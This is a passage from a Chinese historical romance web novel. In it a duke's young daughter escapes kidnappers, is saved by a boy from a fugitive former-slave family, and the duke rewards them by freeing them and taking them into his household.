她使劲蹬腿,使出了吃奶的力气。 那仆人一时没想到一个小孩的力气能这么大,竟不小心被她挣扎了去。 脱离禁锢,苏甄儿立刻往人群里钻。 那仆人着急追她,却因为大街上人挤人,所以一时间居然奈何不了她。 到处都是嘈杂的人声,苏甄儿急切寻找奶母的身影,却不想迎面撞上一个人,她抬头,看到是个长相凶恶的中年妇人,正要伸手抓她。 苏甄儿一口咬住她的手,又泥鳅一般往人群里躲。 追她的人不止那个老宅仆人,还有这个中年妇人,这似乎是一场有预谋的绑架。 “是我家小姐,闹脾气呢,闹脾气呢……”中年妇人一边解释,一边来逮她。 围观的人群中有人道:“是周盛家吧?” “是啊,是啊。”中年妇人笑着点头,伸手将旁边的老宅仆人,也就是自己的丈夫往前推。 那仆人穿着苏府的衣裳,笑眯眯道:“我家小姐调皮,追着玩呢。” 这两个是本地人,街里街坊的都认识,反而是苏甄儿这位初入姑苏的小姐显得脸生。 这对她很不利。 苏甄儿知道呼救无用,反而会被当成孩子玩闹。 她一溜烟跑到一处阴暗无人之地,褪下身上的斗篷扔在巷子口,然后又钻入另外一条巷子。 巷子又深又长,年幼的孩子越跑越害怕,她咬着唇,忍住哭声,听到身后传来的脚步声,吓得往侧边堆放着的竹篮子里躲。 “还知道声东击西,却不知道那条巷子是死胡同。”追来的人怒骂一声。 “别废话了,看到往哪去了吗?一个小妮子抓得这么费劲。”这是那个中年妇人的声音。 “臭婆娘,还不是你没抓住她!” “难道还是我的错了?如果不是你欠了那么多赌债,我们犯得着冒这么大的风险去绑架一个公府嫡女吗?” 两人莫名其妙吵了起来,苏甄儿蜷缩在竹篮子里,抖得筛漏一般。 “哎,那里有个人影。” 中年妇人发现了不对,她朝苏甄儿的方向走过来。 小少女蹲在那里,吓得捂住了自己的嘴。 “哎,小孩,看到有个女孩跑过去了吗?”中年妇人站定,朝正在往竹篮子上扔废炭的小少年询问。 小少年点了点头,抬手指向巷子深处,“那里,”顿了顿,他又问,“你们是谁?” 中年妇人露出一个和蔼的笑,眼神却精明极了,“是她父母,小孩子闹脾气呢。”说完,中年妇人捅了捅身边的男人,男人立刻点头,“是啊是啊。” 敷衍完,两人迫不及待往巷子深处跑去,一边跑,一边骂,“小东西还挺能跑的。” 两人跑远,小少年走到苏甄儿躲藏的那个竹篮子,微微弯腰,“他们走了。” 透过缝隙,苏甄儿看到小少年清亮的眼眸,像流淌的月色。 她记得他,是那个卖艺的少年郎。 “你是……那家的人,对吧?”少年郎想了想,“苏宅。” 小少女不吭声。 少年郎继续道:“他们发现不对就会回来,你现在可以选择跟我走,也可以选择自己一个人跑。” 小少女犹豫一瞬,一把掀开罩在自己身上的竹篮子,然后一把牵住了少年郎的手。 小少年一顿,反握住那只软绵绵的小手,带着粉团子开始跑。 夜色浓郁,巷外灯火通明,巷内又暗又窄,时不时还有翘起的石砖,两人跑的不是非常顺畅。 “小哥哥,我跑不动了……”刚才苏甄儿为了躲开那两个人,拔足狂奔耗尽了力气,现在实在是跑不动了。 小少年抽空回头看了她一眼,“你太重了,我抱不动。” 小甄儿:…… 八岁的孩子,尚未褪去婴儿肥,梁氏又怕她冷,给她穿得圆滚滚的,乍看像个绯红色的粉团子。 “你没有礼貌!”小少女奶声奶气的还击。 “你让别人抱你才没有礼貌。” 小甄儿:……- 小少年十分熟悉这里的地形,他知道小少女体力有限,便改变策略,牵着她走了比较难走也更深暗的近路。 太暗太黑了。 苏甄儿死死抓住小少年的手,在他的手背上抓出四个小小的月牙印子。 “别怕,我不是坏人。” “嗯。” 小少女仰头,在难得一片光亮下,看到小少年俊秀的面部轮廓,他的眸子一晃而过深邃的绿,像漂亮的绿宝石。 两人在巷子里一顿快走,终于在小少女实在是走不动之前,将她带到了苏宅大门口。 他们从侧边的巷子出来,正对面就是宅子大门。 距离苏甄儿不见已经有半个时辰,奶母拉完肚子出来,不见自家小小姐也不见那仆人,登时就急了。一开始她还怀揣着那仆人可能带着苏甄儿回府去了的想法,没想到回府之后却发现小小姐跟那仆人都没有回来。 随后,有人在苏府门缝里发现了一封信,一封绑架信,像是提早塞在那里的。 按照时辰,门房换班的时候打开门就会发现,时间正好。 英国公面色凝重地坐在正厅里,身旁坐着哭红了眼的梁氏。 “别急。”英国公伸手握住梁氏的手,被梁氏一把打开。 “找不到甄甄,我就跟你和离。”一向温和的梁氏急得嗓子都哑了。 英国公不敢吱声,片刻后才道:“当心身子。” 梁氏气得拧他。 拧到一把子硬肉。 更气了。 英国公继续不敢吱声。 信上不让报官,不然就撕票。 还说让公府夫人于夜半时分独自一人带着银票到望亭去赎人。 “公爷,我把门房带来了。” 这绑架信就是门房发现的。 门房颤颤巍巍跪下,“公爷,真的不关奴才的事。” “今日你有察觉什么异样?”英国公阴沉着脸问。 “我之前好像看到周盛家的鬼鬼祟祟从门前经过……”老宅的门房跪在地上努力回忆。 奶母哭得捶胸顿足,“都怪我,怎么突然就拉肚子了,将小姐一个人……不对,当时还有一个人……那个老宅的仆人,是不是就是叫周盛!” “周盛好像欠了很多钱,前几日还问我借钱来着,我听说他是染上了赌瘾。”门房立刻道:“难道他是为了钱绑架的小姐?” “对了,我拉肚子前那个周盛给我递了水!我喝完就立刻觉得不舒服了。”奶母大惊,气得直拍大腿。 事情已经很清楚了。 一对没什么经验的夫妻绑匪为了偿还赌债铤而走险,破绽百出的绑架了初到姑苏的公府嫡女。 姑苏城门于戌时五刻关闭,按照时间计算,苏甄儿应该已经被带出去了。 “煦儿,你带人隐匿在望亭附近,我亲自带你母亲出城去赎人。” 没有见识的两夫妻被赌债逼到绝望,便想放手一搏发一笔横财,却不知道这位公爷手握军权,是带着军队来姑苏的。 “是,父亲。”苏承煦冷着一张脸咬牙道:“敢动甄甄,我活剐了他们。”- 苏府大门打开,年轻的少年郎策马而出,身后跟着一支换上了便衣的军队,迅疾往城外去。 后面是装扮成马车夫的英国公带着梁氏,驾驶着马车往城外望亭而去。 “是父亲和哥哥……唔。” “等一下。”小少年捂住苏甄儿的嘴,看苏承煦和英国公带人离开,这才松开她。 现在过去,说不定会牵连到他。 “好了,过去吧。” 小少年将小少女领到大门口。 苏甄儿睁着一双黑白分明的大眼仰头看他,脸上还沾着黑漆漆的炭灰。 莫名的可爱。 小少年扯唇笑了笑,道:“敲门吧。” 小小的苏甄儿点头,走上前去敲了敲门。 大门被人打开,吴总管满面愁容的出来,一看到是自家小姐出现在门口,登时大喜,“是小姐,、小姐回来了!快去通知公爷和夫人,还有世子!小姐您是怎么回来的?” “是小哥哥……”苏甄儿转头,却发现自己身边空无一人。 “不见了。” 第79章 脱奴籍 因为绑架一事, 所以英国公下令彻查整个苏家老宅,清除了大部分家仆,只留下签了死契的仆人和家生子,还安排了士兵一天十二个时辰跟在苏甄儿身边。 “甄姐儿说的那个小少年找到了吗?”梁氏将苏甄儿哄睡了。 她亲了亲她泛红的小脸, 替她盖好柔软的春被。 屋子里熏着淡淡暖香, 桌上还有苏甄儿没吃完的酥酪。 “找到了。”英国公点头,拨开床帘子看一眼自家甄姐儿, 见小孩睡得酣熟, 心中那块大石也跟着落了地。 可很快,小孩闭着眼开始哭, 断断续续的抽噎声,哭得小脸皱巴在一起,任凭梁氏怎么哄都没用。 “小哥哥……”小孩嘴里喊着这三个字。 英国公道:“难道甄姐儿是想要煦哥儿了?” 梁氏一边心疼的替苏甄儿擦掉脸蛋上的泪水, 一边摇头,“不是的,甄姐儿喊的是那个送她回来的小少年。甄姐儿不肯吃那些安神的苦药,我好不容易用酥酪混着喂了一颗安神丸,这才睡一会又开始梦魇了。我哄不好,奶母也哄不好。” 英国公头疼地抓了抓脑袋, “那怎么办?” 梁氏压低声音道:“我想着, 你请那小少年过来一趟看看甄姐儿,说不定甄姐儿这梦魇的症状便好了。” 英国公想了想, 道:“好, 反正本来我就是要去谢人家的。” “你什么时候去?我与你一道。” “你怀有身孕就别跟我奔波了,此事我来办。”- 英国公很快便查到了地址。 按照街坊邻居提供的线索,他在一户短租的破旧矮屋之中发现了这卖艺的一家三口。 这屋子实在是破,砖墙结构, 屋顶破了好几个洞,这几日下雨,英国公今日出门的时候天上还落着雨。 因此,真是外面下大雨,里面下小雨。 屋子不大,只有一张大通铺一样的床。 偏巧那上头就有一个洞,正在滴水。 有个小少年端着盆站在大通铺旁边接水。 外头屋檐下简陋的厨房内,换下舞服的女人穿着粗布麻衣,双眸处依旧覆着薄纱,正背对着英国公蹲在简陋的灶台前摸索着做饭。 “城儿,你先出去。” 小少年看一眼英国公,再看一眼自己的父亲,临走之前把木盆子递给了自己的父亲,“要继续接,不然晚上没床睡。” 男人:…… 男人单手举着木盆子走到大通铺边继续接水,抽空偏头看向英国公。 英国公的视线在屋子里转了一圈,极其简单的屋子,里头的家具摆设都不像新添置的,应该是原房东的,斑驳的木桌子上有女人给他端进来的热茶,他没喝。 “我查过你的身份,”英国公开口,“你和你妻子脸上带着□□吧?” 屋内的气氛顿时紧张起来,连飘落下来的柔软春雨都带上了几分凌厉。 男人盯着英国公,单手按住自己腰间悬挂的长剑,眼神变得阴鸷。 英国公轻笑一声,继续道:“别紧张,你儿子救了我的甄姐儿,我今日是来谢你家的,至于为何查探你的身份,也是为了让我们大家都安心。”顿了顿,英国公继续,“我今日登门是来道谢的。” “不必。”男人眼神依旧警惕,甚至腰间长剑已然出鞘半寸。 “你觉得不必,你的儿子却未必觉得不需要。”英国公朝前一步,靠近男人,“两个奴隶带着一个孩子逃亡,不容易吧?你们大人受得住,小孩受得住吗?现在你儿子还小,不解这种东躲西藏的日子是不正常的,等到他长大了,你依旧要让他过这种日子吗?他现在年纪还小,不会被认出来,不用戴□□,可再过两年,等他长开,他也要跟你们一样缩在这面具之下,成为阴影里的人。” “你想说什么?”男人的脸上露出明显怒色。 “我用军功替你换三个良民身份,你觉得如何?” 男人猛地抬眸看向英国公,脸上显出不可置信,“为什么?” “这些军功于我而言,比不上甄姐儿的一根手指头,你的儿子救了我的甄姐儿,我自然要回报。” 男人见惯了这些官宦,从无真心,对待他们这样的人,比对蝼蚁都不如,因此,并不认为天底下有这样的好事。 “你想要我替你杀人?” 英国公摇头,“我只是过来报恩的,我现在就问你一句话,你要还是不要?” 机会摆在面前,若错失了,那他们一家三口一辈子就只能当阴沟里的老鼠,被庸王无限追杀,并且永远无法过上正常的生活。 赌,还是不赌。 男人攥紧手中剑柄,他咬紧唇,实在是无法拒绝这样大的一个诱惑。 “要。” 英国公点头,“我明日便进金陵向陛下请旨,为你们一家三口恢复良籍。” “真的不需要我做什么?”男人依旧不信。 英国公摇头,“不需要,我只是来报恩的。” 听到此话,男人逐渐放下戒备。 这个话题结束,英国公严肃的面容一晃,脸上挂上一点笑意,他伸手,接过男人手里的盆,替他接着雨水,“今日过来还有一件事请求。” 男人刚刚好转的面色瞬间阴沉下来,果然,这些权宦之家怎么可能如此好心。 “我家甄姐儿受了惊吓,夜间梦魇不止,时常啼哭,我想着让你儿子随我回府一趟,看看能不能替我家甄姐儿震一震这梦魇。” “呵。”男人发出一个冷淡的耻笑音节,明显是不相信英国公这套鬼话。 “想拿我儿子要挟我?”木盆落地,雨水四溅,长剑已至英国公脖颈间。 英国公不闪不避,“不愿意就算了,我不强求。”说完,英国公不卑不亢地抬手拨开男人的剑,“你们一家三口于我而言,根本没有利用价值,你真的想多了。” “到底是我想多了,还是你想多了。” 互相没有信任,谈话自然无法继续。 “三天,等我三天。”英国公放下最后一句话,转身出了屋子。 他从小少年身边经过,偏头看那小少年一眼。 劲瘦的身体,是个练武的好料子,天赋或许比起煦哥儿都好些。 可惜,是别人家的孩子- “没请来?”梁氏听到英国公的话,登时瞪圆了眼。 “你不了解情况。”英国公努力狡辩。 “是,我不了解情况,就你了解,我自己去请。”梁氏从绣墩上站起来,“真是指望不上你,成日里不是练兵就是练兵,家里的事半点也不管,就连对我也是……” 话说到这里,梁氏一顿,没有再说下去。 英国公的父亲是将军,父亲的父亲也是将军,他只是按照他们的生活方式,成为一个将军,他醉心于战场,致力于保护大周百姓,却忽略了自己的小家。 “对不起,是我疏忽了你。” 经历了此次苏甄儿绑架事件,英国公突然醒悟过来,大周百姓重要,自己的家人也同样重要。 人总是看不到自己拥有的,只有在失去之后才追悔莫及。差点失去甄姐儿的经历让英国公明白,他该为自己的小家打算了。 难得这颗高高在上的榆木脑袋认错,梁氏一时间还有点懵,张着嘴,半天没说出话来。 英国公将梁氏扶回来,跟她透露道:“我自然也是心疼甄姐儿的,只是那家的情况你不了解,他们一家是奴籍,尤其那男人……还是一个死士。” “死士?”梁氏忍不住惊呼。 “还是庸王训练出来的死士,比一般的死士更为凶残骇人。”英国公的面色严肃起来。 梁氏紧张道:“那,那他们不会对甄姐儿不利吧?” “这倒不会,我调查过,他们是从庸王手里逃出来的死士,一路奔波逃亡好几年都没有被抓回去,能在庸王手里逃这么久,还真是有点本事。”英国公说着说着,脸上竟还显出几分赞赏之色。 “我已经答应他们,给他们换个良籍,算是报答他们对甄姐儿的恩情。” 听到英国公提到死士之后,梁氏就熄了去请人过来的心思。 “我让医士再给甄姐儿开些药吧,最好做成糖丸的样子。”- 因为上次苏宅内清退了太多仆人,所以吴总管亚历山大的开始招收新的仆人。 尤其是要成为护院的那一批人,身手一定要好,家世一定要清白,最好要查到祖上十八代。 吴总管先是自己面试了几百个人,然后从中挑选中最精英的几位,最后将他们带到英国公面前进行最后面试。 英国公穿着单薄的武服站在院中,却一点都不觉得冷。 他看着吴总管将一批人带进来,其中一个男人生得最高,眉眼俊美,十分惹人侧目。 当然,英国公生得也不差,不然怎么能跟梁氏生出如此好看的一双儿女,只是比起这男人来说,还是稍微差了一点俊,多了几分粗。 不止是相貌,这男人的武艺亦是十分高超。 英国公今日穿着武服站在院子里就是为了亲自来试探一番这些护卫种子选手的,没想到跟这男人打得难舍难分,势均力敌。 而英国公明显察觉到这男人还留了一手。 “身法诡谲至此,不像正道。” “兵不厌诈。” 两人点到为止,英国公跟男人分开而站。 男人收剑,“是我赢了。” 英国公低头,看到自己胸前一个红点,再往男人那里看去,只见男人右手持剑,左手内竟还藏着一柄贴肉的小匕首,那匕首被白布绑着,上面有红色胭脂粉。 胭脂粉粘在英国公的武服上,若是这匕首没有被封起来,现在他已经丧命了。 “我可没说赢了就能当护卫。”英国公拍了拍自己胸前的胭脂。 对面男人:…… “你是谁?我看你似乎有些眼熟。”英国公对上男人视线,觉得眼熟,却不记得自己认识如此相貌出众的男子。 “三日前,我收到了你给我的脱奴文书。” 英国公恍然大悟,他再次看向男人的脸。 褪去了易容术,男人露出了那张俊美面孔,只有这样的脸才能生出那样俊秀的儿子。 “可惜,你的面试不合格。”英国公道。 男人拿着长剑,也没有生气,只是道:“歧视。” 确实是歧视,可不能讲,影响感情。 不对,他们之间有什么感情? 想起来了,报恩的感情。 对待恩人,当然不能太粗俗无礼。 幸好,此次男人也不是真心过来参加什么护院选举的,只是来道谢的。 “多谢。” 十几年的军功只换了三张脱奴文书,对于这位英国公来说是为了自家的千金,再多军功也舍得,对于他们一家三口来说,却是改变了一辈子的命运。 “还有之前对你多次猜忌,对不住。”说完,男人抬手指向站在自己身边的另外两个参加选拔的护院,“这两个你再多查查吧。” 英国公凌厉的视线瞬间投向那两个护院人选。 这两个人知道露出了马脚,顿时慌了神,转身想跑,被英国公和男人一人一个撂倒在地。 “带下去,严加审问。” 其实不必审问,英国公也知道是太后派来的。 英国公作为皇帝一党,知道皇帝跟太后一直不和,屡次想夺取自己的兵权。一开始诱以利益,见他不为所动,此次估计是知道了甄姐儿被人绑架的消息,得到了启发,想来硬的,用家人威胁他。 “还有,我是顶了另外一个人的名额进来的,那个人跟他们是一伙的,现在被我绑在柴火房里。” 说完,男人就要离开,英国公立时上前一步拦住他,“陆兄有想去的地方吗?” 男人顿住脚步,摇头。 “我营中缺人,可感兴趣?”- 苏甄儿连续梦魇小半月,小脸都瘦了一圈。 虽然梁氏努力想要安抚她,但那夜的事情却一直困扰着她小小的脑袋。直到今日,苏甄儿在自己的院子里看到了一个熟悉的人。 江南四月的天阴冷潮湿,小少年穿着新衣站在檐下,身边站着英国公。 细密的春雨从他身后斜落,像蒙上了一层薄薄的纱。 初入豪华宅子,小少年面上不显,却下意识扯了扯自己的衣摆。 英国公已经跟梁氏商量过,将男人的妻儿接入府中照料。梁氏虽有些担忧男人从前的身份,但听说了今日护院一事后,也选择了相信。 “来,甄姐儿。这是你陆哥哥,日后他便要跟我们住在一起了。” 苏甄儿抱着怀里的梅花枝,小小的梅花落在她仰起的脸上。 小少年低头看她,粉团子瘦了一圈。 苏甄儿眨了眨眼,唤道:“小哥哥!” 第80章 芙蓉花 苏家老宅人丁不算兴旺, 自陆家三口搬进来之后,反而热闹许多。 陆家作为客人,暂住在别院荔香院中,位置清幽又有一条路直通大街, 十分方便。 梁氏作为主人, 又性格柔顺,自然是对他们多加照拂, 院子里的一草一木, 床铺衣橱,都是她提前叮嘱吴管事用的最好的。 陆家搬进来那日, 梁氏也带着苏甄儿去拜访了。 别院虽不大,但胜在小巧精致。其实按照姑苏院子来说,大部分建筑格局都不宽阔, 窄而精才是它的风格。 别院侧边有直竖起的青竹,廊下是新换的红纱笼灯,后头是一方池塘和假山,栽种着几棵山茶花树和白玉兰。正是春日,万物复苏的时候,枝头青芽可人, 树下是一套石桌石凳。 两侧是厢房, 中间是主屋,陆家夫妻住在主屋内, 陆麟城住在左边厢房里, 右边的厢房就变成了书房。 梁氏进门的时候正看到有个女人在梨花木的衣橱前衣物。 衣物虽旧,但洗的很干净。 听到身后动静,那女人转过身来。 站在梁氏面前的女子与那日里在鼓上起舞的女子相貌完全不同。 梁氏想起之前丈夫跟自己提过的易容之事,想着这女子应当与她的死士丈夫一样, 也在脸上动了手脚。 第一次看到如此神奇的易容之术,梁氏不免惊奇。 可更令她惊奇的是女人的相貌。 梁氏虽没有出过远门,但很喜欢读书,她也曾听闻异域女子与他们这里的女子不一样。她们的面部轮廓更深些,甚至还有什么蓝色的,绿色的眼睛。 眼前的女人长得很美,纤细窈窕的身段,毫无瑕疵的雪白肌肤,翡翠绿色的眼眸,更为立体的五官长相,放松下来的卷翘长发,一眼就能看出是个异邦人。 这是荆钗布衣也难掩的绝色。 “夫人。”女人上前行礼。 在大周生活的这几年中,女人已经将大周话练得十分好,甚至听不出一点口音。 这是必然的,为了活命。 “不必多礼,你是我们苏府的客人,你的孩子也是甄姐儿的救命恩人,该是我朝你行礼才是。”说着话,梁氏伸手扶住女人,两人往绣墩上坐。 “你在收拾行李?我是不是打扰到你了?”梁氏语气温和,面容温婉。 女人摇头。 女人看起来话不多,是个比梁氏还沉闷的人。 “这是我给陆夫人挑的大丫鬟,有什么事尽可吩咐她。” 梁氏抬手指向随在自己身后的一个大丫鬟。 女人抬头看那丫鬟一眼。 丫鬟上前行礼,“奴婢玉蝶。” 梁氏喜欢梅花,身边的大丫鬟多以此命名。 那女人起身,略显局促。 “奴婢替您收拾行李。”玉蝶手脚伶俐,立刻就接手了女人手上的活。 “我叫阿雅娜。”阿雅娜显然不习惯梁氏一口一个陆夫人,她主动开口告知了自己的姓名。 “阿雅娜?”梁氏想了想,嗓音柔美,“我曾经读过一本书,里面说波斯语里面的阿雅娜是‘永恒的花朵’的意思,对不对?” 阿雅娜难得碰到能聊天的人,性子沉闷的她忍不住也跟着多话起来。 “是的。”阿雅娜点头,“我从波斯被卖过来当奴隶,遇到了我丈夫。他是死士,我是奴隶,我们从庸王那里逃出来,逃了很多年。谢谢你给我们的脱奴文书。” 这些事情已经不再是秘密,梁氏早就从自己丈夫的嘴里知道了。 “我也要谢谢你的孩子救了我的甄姐儿。” 两人相视而笑,觉得皆是缘分。 “你叫什么?”阿雅娜问。 虽然在大周生活了很多年,但阿雅娜身上不受拘束和无视森严规矩的性格并未消失。从她竭力反抗自己沦为奴隶的命运,带着丈夫和儿子一起出逃能看出来,这是一位聪明的女性。 “我叫梁芸。” “梁芸。”阿雅娜低声叫了一句。 嫁给英国公之后,梁芸已经很久没有听到别人叫自己这个名字了。 她是英国公府的夫人,是孩子的母亲,却好像忘记了自己。 诚然,当母亲是很幸福的一件事。 孩子成为了她的精神依托,也成为了她生命的延续,让她不再那么惧怕自己的消亡。可抛去这些之后,她自己的人生呢,又在哪里? “就这样叫我,我喜欢别人叫我的名字。”梁芸握住阿雅娜的手,“我也叫你阿雅娜,好不好?” 人跟人之间的缘分就是如此奇妙,有时候仅仅只是因为几句话便能建立起奇怪而深厚且信任的友谊。 阿雅娜点头。 突然,阿雅娜反握住梁芸的手,单手搭住她的脉搏,细细双眉蹙起。 “你会医术?”梁芸好奇。 阿雅娜点头,“我从小学医,吃很多草药,因此庸王那些药物对我无效,我才能带着我的丈夫和儿子逃出来。”顿了顿,阿雅娜又道:“城儿的身体里有我一半血脉,他也对药物有抵抗性。” “那你丈夫呢?”梁芸好奇。 阿雅娜道:“他要吃药,我给他找药草煮药,现在好多了。” 梁芸点头,看向阿雅娜的目光带上了几分羡慕。 “你会医术,可真厉害。” “你的身体不好。”阿雅娜松开梁芸的手,“还怀有身孕。” 梁芸点头,脸上隐隐显出忧色,可又不想让苏甄儿听见,便打发她出去玩。 苏甄儿本来也对梁芸和阿雅娜之间的对话不感兴趣。 她原本站在梁芸身边,正直直盯着竹林子里刚刚冒出来的春笋尖尖,一听到梁芸让自己出去玩,便赶紧跑进了那一小片竹林里。 竹林不大,顺着竹林通到后面的小院子里。 苏甄儿蹲在地上戳竹子尖尖玩,一路戳到后面的小院,然后突然感觉头顶有什么东西。 她仰头,看到了躺在树上睡觉的小少年。 “小哥哥。”苏甄儿呢喃一声,忍不住又喊一声,“小哥哥!” 躺在树上的小少年睁开眼,阳光刺目,照得人身上暖烘烘的。 他低头,看到树下的红色团子。 梁芸喜欢给苏甄儿穿各种颜色鲜艳的衣服,她认为女孩子就是要穿这样艳丽的颜色才好看。 事实证明,梁芸的眼光很不错。 苏甄儿原本就生得粉雕玉啄,跟用最贵的白玉雕刻出来的福娃娃一样,每个见到她的人都得夸一句可爱好看,恨不能是自己生出来的。 小甄儿仰头看向树杈,伸出自己的小胖手,踮脚撒娇,“我也要上去。” 小少年垂目,看着苏甄儿伸过来的手,没。 苏甄儿不是个让人省心的孩子,因为梁芸不拘着她,所以她什么都敢干。 见小少年不搭自己,苏甄儿就准备自己上树。 才八岁的孩子就敢爬树,也不怕将那身昂贵的春衫弄脏弄破。 她自然是爬不上去的,尝试了好几次都上不去,只能站在树下眼巴巴地盯着小少年看。 才一会,小粉团子面颊上就被蹭得脏兮兮的,她也不哭,就这么眼巴巴。 陆麟城被盯得不自在极了。 他抬头看一眼天色,一个翻身从树上跃下。 小孩还眼巴巴的看着树,显然是想上去试试。 下一刻,她的面前出现一朵粉白色的花。 冬日已过,暖春来临,巨大茂盛的树枝上,一朵一朵粉白色的重瓣花朵妖娆引人。 淡淡的幽香萦绕鼻息,小女孩伸出自己小小的手,将花捧进掌心里。 这朵花在小少年的掌心里不大,在苏甄儿的手掌心里就显得巨大无比。 陆麟城歪了歪头,显然也是觉得有趣。 “这是什么花?”苏甄儿还小,不懂花。 陆麟城也不知道这是什么花,他随口说了一个名字,而他也只知道这一种花。 “芙蓉。” 后来苏甄儿才知道,这哪里是什么芙蓉,分明是山茶花。 可自从那日起,别人问她喜欢什么花,她总是脱口而出,“芙蓉花。”- 小甄儿宝贝那朵芙蓉花的不行,缠着梁氏要了一个漂亮的玉碗,特意装了山泉水养它,每日里还要亲自换水。 可惜,七日之后,那朵山茶花还是枯萎了。 苏甄儿为此伤心了好几日。 梁氏这边倒是没有心思来管这小东西的小心思,因为阿雅娜给她开了药,吃了药之后,她明显感觉自己身体康健不少,连带着怀孕时身体内的滞涩感都消失了。 阿雅娜在医术上极有天赋,也怪不得她能发明如此精美绝伦的易容术,还能治疗被药物侵蚀的丈夫和儿子。 因为自己吃了阿雅娜的药觉得很好,所以梁芸又将苏甄儿再次带到了阿雅娜住的别院。 “这是我的甄姐儿,她出生的时候从我胎里带了病,自小体弱,如今瞧着像是养好了,可还是想让你看看。” 阿雅娜点头,替苏甄儿把脉。 苏甄儿乖巧坐在绣墩上,小短腿不着地,也不晃悠怕踢着人,就这么乖巧垂着。婴儿肥的脸上眼睛大大的,鼻子小小的,嘴唇粉粉的。 阿雅娜忍不住伸手摸了摸她的小胖脸。 自从知道小少年住到苏宅之后,苏甄儿的梦魇之症就好了,这才又将之前掉的肉养了回来。 “小问题。”阿雅娜替苏甄儿看完病,执笔写了一张药方给梁芸。 梁芸看着阿雅娜的字,忍不住蹙了蹙眉,努力舒展,然后又忍不住继续蹙眉。 阿雅娜是个天赋型医者,可天才也有自己的短板。 她的字写的是真丑。 甚至还有错别字。 屋子角落的书桌边,陆麟城正在抄写三字经。 按照他这个年纪,不该只学到三字经,只是因为阿雅娜学识有限,他的父亲又是一个只知道杀人的死士(现在是跟着英国公上战场杀人了),再加上忙着逃亡也没空学习,所以陆麟城的学业就被搁置下来了。 阿雅娜知道人要读书,她也催着陆麟城学习,只是她教的实在是太差。 “你若不嫌弃,日后我来教你练字,让城儿跟煦哥儿一起去宗塾读书。”顿了顿,梁芸实在没忍住,“甄姐儿的字都比你写得好。” 两人相熟之后也就再没有那些虚伪的客气。 阿雅娜低头看向八岁的甄姐儿。 甄姐儿眨巴着眼。 阿雅娜:……- 陆麟城对杀人这种事情比较感兴趣,这可能跟他父亲的职业有关,他私心想,日后也要成为像英国公一样的大将军。 因此,对于学习这件事情他并不上心,也不知道宗塾老师是如何厉害的一种存在。 如此,第一天就被罚抄了一百遍。 “我真帮不了你,我自己还有二十遍呢。” 今日煦哥儿带陆麟城一起去宗塾读书,煦哥儿本来就是一个不喜欢读书只喜欢舞枪弄棒的人,因此学业很差。陆麟城没上过学堂,便照着煦哥儿的样子,打开了换了封皮的武侠话本子放在书桌上,在课堂上堂而皇之的看。 当然,这话本子自然也是煦哥儿给他的。好兄弟嘛,还是救了自己妹妹的好兄弟,自然是有福同享了。 只是这好兄弟未免太蠢笨了些,那老师都走到身边了还在看。 煦哥儿眼疾手快的收好自己的,还想替陆麟城收,没来得及,被老师一把抓住。一个一百遍,一个二十遍(老师没看到煦哥儿看,只看到他帮陆麟城)。 作为从犯罚抄的轻些。 “对了,让甄姐儿来帮我们。”煦哥儿想到一个好主意。 才八岁的甄姐儿在文学上表现出了跟梁芸一样的天赋,那手字写的简直令人羡慕。 煦哥儿偷偷摸摸将苏甄儿带到了别院里来。 暮色深沉,苏甄儿都准备要睡了,被自家哥哥带过来帮忙。 “妹妹,帮帮忙,哥哥明日给你买海棠糕吃。” 梁芸一向不同意苏甄儿吃外面的东西,因此,每次苏甄儿就偷偷的给煦哥儿自己的零用钱让他帮忙外带。 被一块海棠糕收买的小甄儿开始了自己的童工生涯。 三人排排坐,开始抄写。 五月的天已经开始闷热。 小甄儿抄着抄着就犯困了。 她歪了脑袋,靠在小少年身上,然后继续歪下去,歪下去,缩在了他膝盖边。 陆麟城低头看一眼,解下身上的衣服,替她盖上。 苏承煦抄的焦头烂额,眼看自家妹妹蜷缩在自己兄弟衣服里睡着了,忍不住抓头,然后再看到自家兄弟那□□爬字,更忍不住继续抓头。 “你这字明天肯定过不了老师那关!” “那怎么办?”兄弟不解。 苏承煦是个有义气的好兄弟,他知道今日之事因他而起。 谁能想到他这位兄弟居然没上过学堂,不知道学堂规矩呢! 苏承煦咬牙,“我替你抄。” “哦,”陆麟城点头,“那我睡了。” 苏承煦:…… 80-83 第81章 初长成 春去冬来, 秋过夏至,一年四季。一晃眼,豆蔻少女初长成,身子开始抽条, 像春日的嫩芽一样。 梁芸的身体也在阿雅娜的照顾下好了很多, 甚至还能跟苏甄儿一起下场打马球。 马场上刚刚冒出新嫩的芽尖,还没长结实。豆蔻少女一袭绯红骑装, 骑着一匹血色宝马于马场之上驰骋。 “母亲!”苏甄儿将球传给梁芸。 梁芸一抬手, 弯曲如月牙的球杆高高扬起,进球。 周边响起众人的喝彩声。 一连打了半个时辰, 两人都有些力竭,赢了彩头之后尽兴下场。 彩头是一支女子用的珠钗,虽不十分名贵, 但胜在是苏甄儿喜欢的芙蓉花款式。三朵粉色小芙蓉簇拥在一处,下坠三片翡翠绿的小叶子,看起来明艳娇妍,最是适合她这个年纪爱俏的小女孩。 “母亲,给我戴上。” 一场马球赛结束,苏甄儿和梁芸一起下场休息。 两人坐在棚中, 苏甄儿将手中的簪子递给梁芸。 梁芸替她戴上。 “好看吗?”苏甄儿晃了晃, 那三片叶子也跟着她一起晃了晃。 “好看。”梁芸伸手刮了刮苏甄儿的小鼻子。 苏甄儿歪头腻在梁芸肩膀上,然后突然听到一阵欢呼声, 其中夹杂着女子大胆的爱慕之声, 甚至还有人还往马球场中扔帕子和鲜花。 苏甄儿伸长脖子,看到新下场的队伍。 方才是女子局,现在是男子局。说是男子,其实上场的也不过都是十几岁的少年郎。 其中两人最是显眼, 一是身骑与苏甄儿同样式色系枣红色红鬃马的苏承煦,十八岁的他身型结实,俊朗帅气,脸上带笑,举手投足间放荡不羁,多了几分痞味。 二是身骑珍珠色白马,只额前一点红的俊美少年郎,比起苏承煦的帅,他更多了几分冷涩的美。 大概是因为尚在少年时期,所以这份美还带上了几许雌雄莫辨。 比起苏承煦春风般微笑的脸,这位少年则显得高冷许多。 对此,苏承煦早已习惯。他这个兄弟本来就不是一个话多的人,也只有在自家妹妹面前才会展露不一样的一面。两人虽差了几岁,但一起长大,一起练武读书,一起挨罚,情如亲兄弟。 两人年纪虽小,但其实也到了该议亲的年纪。 苏承煦是公府世子,日后前途不可限量。 陆麟城的身份虽差些,但他父亲在战场上跟着英国公摸爬滚打,也得了个将军封号,如今已经是个三品大将,虽比不上英国公府的门第,但身份地位也不算太低。 因此,为了抢夺这两位佳婿,苏宅的门都要被踏破了。 